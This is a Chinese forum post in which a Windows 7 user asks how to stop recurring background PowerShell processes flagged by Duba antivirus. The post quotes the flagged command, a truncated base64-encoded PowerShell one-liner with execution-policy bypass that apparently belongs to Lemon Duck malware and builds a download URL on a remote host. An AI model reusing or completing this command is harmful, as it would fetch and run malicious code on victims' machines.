昨天发现的， win7 被一堆“cmd 发起的 powershell”在后台疯狂占 cpu
毒霸是这样说的：“可疑程序运行后，可能会静默安装恶意软件，导致系统异常，建议您立即阻止。 行为发起 ：C:Windowssystem32cmd.EXE 可疑进程 ：C:WindowsSystem32WindowsPowerShellv1.0powershell.exe 可疑内容 ：powershell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBsAEQAQwBRAGgAWgB0ACcAOwAkAHkAPQAnAGgAdAB0AHAAOgAvAC8AdAAuAHQAcgAyAHEALgBjAG8AbQAvAHYALgBqAHMAJwA7ACQAegA9ACQAeQArACcAcAAnACsAJwA/AG0AaQBnAF8AMgAwADEAOQAxADIAMwAwACcAOwAkAG0APQAoAE4AZQB3AC0ATwBiAGoAZ”
去金山那边查查，10 月份就有人反映了，但看起来是没解决 http://bbs.duba.net/thread-4191273570-1-1.html
相关的科普查了一下这个 https://www.freebuf.com/articles/network/216918.html 和这篇文中描述很像，一小时一次。
——当然，最快的法子是重装系统，但因为要搬数据，索性换电脑了（从小新 pro13 加到了联想拯救者然后跌回惠普星系列，上报时被主管强推硬是改成了戴尔游匣）。
3 号才到，旧笔记本还得撑一会儿，想让旧笔记本死个明白，求告知解决方案
目前已经试过的法子：照着网上能搜到的禁用 powershell 的法子，将所有人替换为了 admin，拿掉了 system 的权限，但还是时间一到，毒霸提示”cmd 又把 powshell 放出来吃 cpu 了”